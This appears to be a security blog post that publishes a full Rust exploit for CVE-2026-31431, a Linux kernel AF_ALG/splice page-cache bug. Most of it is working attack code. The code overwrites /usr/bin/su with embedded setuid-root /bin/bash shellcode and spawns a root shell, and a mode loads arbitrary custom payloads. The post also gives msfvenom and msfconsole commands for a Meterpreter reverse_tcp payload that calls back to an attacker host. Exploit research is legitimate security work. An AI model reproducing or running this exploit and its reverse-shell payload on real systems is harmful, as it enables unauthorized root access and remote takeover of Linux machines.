[Tools] Rust Implementation of CVE-2026-31431

First Post:

Last Update:

Word Count:
1.9k

Read Time:
12 min

Introduction

Days ago, Xint disclosed CVE-2026-31431, a Linux kernel vulnerability that allows local attackers to overwrite file contents in the page cache. By chaining AF_ALG and splice(), this bug can be turned into a reliable 4-byte write primitive, which can ultimately lead to privilege escalation.

Note: If you are interested in the source, please refer to this article

while studying it, I realized that the exploit code provided by theori-io is not really flexible for learning (of course, it is excellent for exploiting). The original work uses a compressed/encoded shellcode (e.g., /bin/sh). In this implementation, I replaced it with a raw (uncompressed) /bin/bash shellcode, making it easier to customize or directly replace with user-supplied payloads.

Therefore, I decided to rewrite a Rust implementation based on the source code of theori-io.

Note: This is NOT a full vulnerability write-up, but rather a practical implementation for experimentation and learning.

Besides, I have been studying rootkits, bootkits and underlying principle of several critical vulnerabilities, I will do the analysis in my future posts!

Note on Vulnerability Analysis

This article focuses on exploit implementation and payload customization.

A deeper analysis of the root cause (AF_ALG + splice interaction, page cache overwrite, and kernel behavior) will be covered in a future series:

From Bug to Exploit

In that series, I will break down:

  • Why this vulnerability exists
  • How the write primitive is formed
  • How it leads to privilege escalation

Disclaimer

This project was developed as part of my personal interest in studying cybersecurity. However, it may potentially be misused for malicious purposes.

Please do NOT use this tool for any illegal activities.

The author is not responsible for any misuse of this software.

Rust Implementation

Since some vulnerable devices do not contain matched version of Python (Python 3.10+), I decided to use Rust for compiling binary executable.

The full project of the implementation is in this GitHub repository

The source code is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
// GitHub: https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/
// Author: iss4cf0ng/ISSAC
// Acknowledgement: https://github.com/theori-io/copy-fail-CVE-2026-31431

/*
* Description:
* Linux kernel AF_ALG (algif_aead) vulnerability allows local users
* to perform arbitrary file overwrite in page cache via splice()
* and AEAD crypto interface, leading to privilege escalation.
*
* This exploit overwrites /usr/bin/su in memory and spawns a root shell.
*
* Requirements:
* - Unprivileged local user
* - algif_aead module loaded
*
* Usage:
* --test Check vulnerability
* --exploit Spawn root shell
* --bin <file> Use custom payload
*
* Related links:
* - https://ubuntu.com/security/CVE-2026-31431
* - https://xint.io/blog/copy-fail-linux-distributions
*/

use std::{env, fs, io};
use std::ffi::CString;
use std::fs::File;
use std::io::{Read, Write};
use std::os::unix::io::AsRawFd;

const TARGET_BINARY: &str = "/usr/bin/su";
const TEST_FILE: &str = "/tmp/.cve_test";

// Shellcode (/bin/bash)
/*
; Reference of syscall: https://filippo.io/linux-syscall-table/
; The assembly code of the shellcode is shown below
db 0x7f, 'ELF', 2, 1, 1, 0 ; e_ident
dq 0 ; padding
dw 2 ; e_type (ET_EXEC)
dw 62 ; e_machine (EM_X86_64)
dd 1 ; e_version
dq 0x400078 ; e_entry (Entry point)
dq 0x40 ; e_phoff (Program Header Offset)
dq 0 ; e_shoff
dd 0 ; e_flags
dw 64 ; e_ehsize
dw 56 ; e_phentsize
dw 1 ; e_phnum
dw 0, 0, 0 ; s_header info

; Program Header
dd 1 ; p_type (PT_LOAD)
dd 5 ; p_flags (PF_R | PF_X)
dq 0 ; p_offset
dq 0x400000 ; p_vaddr
dq 0x400000 ; p_paddr
dq 0x9e ; p_filesz
dq 0x9e ; p_memsz
dq 0x1000 ; p_align

; Program
_start:
; setuid(0)
xor eax, eax ; clear eax
xor edi, edi ; edi = 0 (UID 0)
mov al, 105 ; syscall 105 (setuid)
syscall

; execve("/bin/bash", NULL, NULL)
lea rdi, [rel path] ; Load effective address of the string
xor esi, esi ; argv = NULL
cdq ; edx = 0 (envp = NULL)
mov al, 59 ; syscall 59 (execve)
syscall

; exit(0)
xor edi, edi
push 60
pop rax ; syscall 60 (exit)
syscall

path: db "/bin/bash", 0
*/
const BASH_SHELLCODE: &[u8] = &[
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05,
0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05, 0x31,
0xff, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00
];

unsafe fn inject_payload(fd: i32, payload: &[u8]) {
for i in (0..payload.len()).step_by(4) {
let mut chunk = [0u8; 4];
let end = std::cmp::min(i + 4, payload.len());
chunk[..end - i].copy_from_slice(&payload[i..end]);

do_kernel_injection(fd, i, &chunk);

if i % 40 == 0 {
io::stdout().flush().ok();
}
}
}

// Perform kernel-level memory injection using the AF_ALG vulnerability (CVE-2026-31431)
unsafe fn do_kernel_injection(target_fd: i32, t_idx: usize, chunk: &[u8]) {
// Create an AF_ALG socket (address family for kernel crypto API)
let master_fd = libc::socket(38, libc::SOCK_SEQPACKET, 0);

// Initialize sockaddr_alg structure to specify the algorithm type (aead)
let mut addr: [u8; 88] = [0; 88];
addr[0..2].copy_from_slice(&38u16.to_ne_bytes()); // Set AF_ALG (38)
std::ptr::copy_nonoverlapping("aead".as_ptr(), addr.as_mut_ptr().add(2), 4);

// Set the specific crypto transformation
let name = "authencesn(hmac(sha256),cbc(aes))";
std::ptr::copy_nonoverlapping(name.as_ptr(), addr.as_mut_ptr().add(24), name.len());
libc::bind(master_fd, addr.as_ptr() as _, 88);

// Prepare and set the authentication key for the AEAD algorithm
let mut key = [0u8; 40];
key[0..8].copy_from_slice(&[0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10]);
libc::setsockopt(master_fd, 279, 1, key.as_ptr() as _, 40);
libc::setsockopt(master_fd, 279, 5, &4u32 as *const _ as _, 4);

// Create an operational socket by accepting the configured master socket
let op_fd = libc::accept(master_fd, std::ptr::null_mut(), std::ptr::null_mut());

// Prepare the payload chunk, 4-byte alignment with "AAAA" padding
let mut cmsg_buf = [0u8; 128];
let mut data = [0u8; 8];
data[0..4].copy_from_slice(b"AAAA");
data[4..8].copy_from_slice(chunk);

// Set I/O vector for sending data
let mut iov = libc::iovec { iov_base: data.as_mut_ptr() as _, iov_len: 8 };
let mut msg: libc::msghdr = std::mem::zeroed();
msg.msg_iov = &mut iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf.as_mut_ptr() as _;

let mut p = cmsg_buf.as_mut_ptr();

// Setup ALG_SET_IV (Initialization Vector)
let mut h1: libc::cmsghdr = std::mem::zeroed();
h1.cmsg_len = libc::CMSG_LEN(4) as _;
h1.cmsg_level = 279;
h1.cmsg_type = 3;
*(p as *mut libc::cmsghdr) = h1;
p = p.add(libc::CMSG_SPACE(4) as usize);

let mut h2: libc::cmsghdr = std::mem::zeroed();
h2.cmsg_len = libc::CMSG_LEN(20) as _;
h2.cmsg_level = 279;
h2.cmsg_type = 2;
*(p as *mut libc::cmsghdr) = h2;
*(libc::CMSG_DATA(p as _) as *mut u32) = 16;
p = p.add(libc::CMSG_SPACE(20) as usize);

let mut h3: libc::cmsghdr = std::mem::zeroed();
h3.cmsg_len = libc::CMSG_LEN(4) as _;
h3.cmsg_level = 279;
h3.cmsg_type = 4;
*(p as *mut libc::cmsghdr) = h3;
*(libc::CMSG_DATA(p as _) as *mut u32) = 8;

msg.msg_controllen = 32 + 16 + 16;

libc::sendmsg(op_fd, &msg, 0x8000);

let mut pipes = [0i32; 2];
libc::pipe(pipes.as_mut_ptr());
let mut off: i64 = 0;

libc::splice(target_fd, &mut off, pipes[1], std::ptr::null_mut(), t_idx + 4, 0);
libc::splice(pipes[0], std::ptr::null_mut(), op_fd, std::ptr::null_mut(), t_idx + 4, 0);

let mut drain = [0u8; 1024];
libc::recv(op_fd, drain.as_mut_ptr() as _, 1024, 0x40);

// Clean all file descriptors
libc::close(op_fd);
libc::close(master_fd);
libc::close(pipes[0]);
libc::close(pipes[1]);
}

fn main() -> io::Result<()> {
let args: Vec<String> = env::args().collect();
println!("--------------------------------------------------");
println!(" CVE-2026-31431 Linux Copy-Fail Exploit (Rust) ");
println!("--------------------------------------------------");

if args.len() < 2 {
println!("Usage: {} [--test | --exploit | --bin <file>]", args[0]);
return Ok(());
}

match args[1].as_str() {

"--test" => {
// Test vulnerability

println!("[*] Mode: Vulnerability Testing");

let mut f = File::create(TEST_FILE)?;
f.write_all(&vec![b'A'; 64])?;
let target = File::open(TEST_FILE)?;

unsafe {
inject_payload(target.as_raw_fd(), b"HACK")
};

let mut res = vec![0u8; 4];
File::open(TEST_FILE)?.read_exact(&mut res)?;

if &res == b"HACK" {
println!("\x1b[31;1m[!] VULNERABLE!\x1b[0m");
}
else {
println!("[+] SAFE");
}

fs::remove_file(TEST_FILE).ok();
}

"--exploit" => {
// Vulnerability exploitation, provide interactive shell

println!("[*] Mode: Privilege Escalation (Default: /bin/bash)");

let target = File::open(TARGET_BINARY)?;
unsafe {
inject_payload(target.as_raw_fd(), BASH_SHELLCODE)
};

println!("\n[+] Spawning root shell...");

let cmd = CString::new("su").unwrap();
unsafe {
libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());
}
}

"--bin" => {
// Load customized shellcode bin file, such as Meterpreter

if args.len() < 3 {
println!("[!] Error: Please specify a bin file.");
return Ok(());
}

let bin_path = &args[2];

println!("[*] Mode: Custom Shellcode Injection");
println!("[*] Loading: {}", bin_path);

let custom_payload = fs::read(bin_path)?;
let target = File::open(TARGET_BINARY)?;

unsafe {
inject_payload(target.as_raw_fd(), &custom_payload)
};

println!("\n[+] Injection complete. Executing {}...", TARGET_BINARY);

let cmd = CString::new("su").unwrap();
unsafe {
libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());
}
}

_ => println!("[!] Unknown option.")
}

Ok(())
}

How to Compile

Clone the project, then execute build.sh:

1
2
3
4
git clone git@github.com:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh

Usage

Download and extract the release package:

1
2
3
4
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86

The binaries provide the options below:

1
2
3
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin

Demonstration

Test Vulnerability

On the vulnerable machine:

1
./CVE-2026-31431-Linux-Copy-Fail --test

Exploitation

1
./CVE-2026-31431-Linux-Copy-Fail --exploit

Meterpreter

We can also exploit this vulnerability with Meterpreter.

While the experiment, I did not gain the root privilege. However, after studying the shellcode, I noticed that the UID has to be initially set to 0.

Therefore, you have to enable PrependSetUid for your payload if you try to generate it using msfvenom.

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin

On the attacker machine (Kali Linux):

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run

On the vulnerable machine:

1
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin

What You Can Learn From This Implementation

  • How AF_ALG sockets are used in practice
  • How splice() interacts with kernel buffers
  • How a limited write primitive can be extended into a full exploit
  • How to adapt shellcode for different payloads

THANKS FOR READING